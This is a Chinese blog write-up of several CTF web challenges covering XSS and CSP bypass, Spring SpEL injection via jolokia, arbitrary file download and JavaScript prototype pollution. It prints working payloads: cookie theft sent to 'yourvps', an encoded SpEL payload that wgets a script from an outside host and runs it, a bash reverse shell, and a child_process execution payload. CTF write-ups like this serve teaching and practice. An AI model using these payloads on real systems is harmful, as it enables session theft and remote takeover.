近期一系列题目的总结

前言

最近做了下hgame和一些buuoj的题目这里总结下。

xss

hgame week 2 聊天室1

这题主要的考点是xss过滤的一些绕过,主要用到了以下两个点:

  1. 利用浏览器html标签容错的特性,绕过<(.*?)>的过滤
  2. 利用html编码绕过对内容转大写限制

经过fuzz发现只要是补全标签里面的东西waf都会统统删除光,而发现输入

1
<img xxx/

这样的标签也能被正常解析
image.png
不过我们发现alert变成了大写,而js是大小写敏感的,所以我们要对js代码进行编码。
payload:

1
<img src=1 onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x29;&#x3b;"

image.png

之后使用windows.open或者location.href回带cookie即可。

hgame week 3 聊天室2

这题考的是csp绕过。
csp简单地来讲是一种限制js执行等恶意行为的白名单策略,它确保了页面只加载指定域内的资源。

更多的细节可以参考这里,这里只针对题目进行一波分析。
https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP

1
Content-Security-Policy: default-src 'self'; script-src 'self'

默认只加载同源的资源,并且不允许执行内联js。

这种状况我们的思路主要有两个,一个是找到和该页面同源且存在xss漏洞,无csp限制的页面,引入该页面突破csp限制。另外一个就是结合文件上传,加载同源js。这题显然第二个想法行不通,而经测试发现send接口存在xss漏洞,且没有csp,这里我们引入该接口执行js代码即可。

这里xss的waf就简单多了,只是过滤了script,所以只要双写script即可。

1
<scriscriptpt src="/send?message=window.open('yourvps'%2Bdocument.cookie)"></scscriptript>

还有需要注意的是,一开始我使用meta做跳转结果失败,很有可能是被chrome拦截了,这里注意下。

另外尽量用nc去接cookie,因为这里bot有一个加载时间的问题,查日志可能不靠谱。

image.png

java

hgame week4 easyjava

这题主要有几个点:

  1. spel命令执行,并绕过黑名单。
  2. 通过jolokia 对payload进行加解密

首先根据弱口令admin,admin,查看cookie,猜测加密的cookie,能被带入执行spel。

使用dirsearch 扫到了

/actuator/jolokia/list,

在/actuator/env中拿到加密参数param1和param2,

最后使用/actuator/jolokia接口加密payload

jolokia参考资料

注意

black list

  • java.+lang

  • Runtime (ProcessBuilder)

  • exec.*\(

  • getClass

  • forName

这里采用nashorn引擎绕过名黑名单,需要注意的是里面用数组可能会有些问题,所以对payload要自己做些处理。

1
2
3
4
5
6
7
8
9
10
#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%77%67%65%74%20%68%74%74%70%3a%2f%2f%73%74%61%72%31%32%33%2e%74%6f%70%2f%72%2e%73%68%20%2d%4f%20%2f%74%6d%70%2f%72%2e%73%68%22%29"))}

java.lang.Runtime.getRuntime().exec("wget http://youvps/r.sh -O /tmp/r.sh")

{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%73%65%74%73%69%64%20%62%61%73%68%20%2f%74%6d%70%2f%72%2e%73%68%22%29"))}

这里不用setsid将程序放在后台执行,可能弹不了shell,而又因为java命令执行命令会将空格分割的部分解析成参数所以,需要注意r.sh的写法。
/bin/bash -c "bash -i >& /dev/tcp/yourvps/8000 0>&1"

java.lang.Runtime.getRuntime().exec("setsid bash /tmp/r.sh")

image.png

buuoj easyjava

这题考点是任意文件下载,重点是/WEB_INF/classes下的文件

首先是弱口令登录,其实不登录也可以,需要注意的是这里的download需要post方法才能触发,并且下载的文件不能带有相对路径。

下载/web.xml 发现flagController.class
下载flagController.class 找到明显是base64加密的字符串,然后解密即可。

js原型链污染

hgame week4 只狼

考点 js原型链污染
基本参考P牛博客来就没啥问题了。

js原型链污染的原理和js查找属性的机制有关。js所有对象都有一个__proto__属性,而js对象执行访问属性操作时,若找不到属性便会沿着继承链向上查找,直到__proto__的值为null。

如果我们能够通过某种办法给js对象的__proto__属性赋值,(例如meger操作),在js对象不存在某个属性的时候,我们可以将赋给__proto__属性的值来替换这个不存在的属性。

比如这里,

1
2
3
4
5
6
7
8
9
10
11
12
13
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
1
2
3
4
5
6
7
8
9
10
11
this.dealWithAttacks = function (sekiro, solution) {
if (sekiro.attackInfo.solution !== solution) {
sekiro.health -= sekiro.attackInfo.attack
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}
}
...
...
return sekiro

我们很明显能看到clone方法能进行污染,additionalEffect则是我们的目标,这里可以插入任意代码。
我们观察到给出的几个attackInfo,五个中有三个是没有additionalEffect属性的。故当攻击方式为那三种的时候,我们进行污染即可获得反弹shell。

payload:

1
{"solution":"1","__proto__":{"additionalEffect":"'1'.sub.constructor('console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"yourcmd\").toString())')();"}}

这里需要注意的是require并不是一个全局可以访问的方法,而Function执行时没有上下文中没有require,所以需要从mainModule中直接加载child_process模块。

总结

自己还是太菜了,经验不足,而且操作起来熟练度也不够。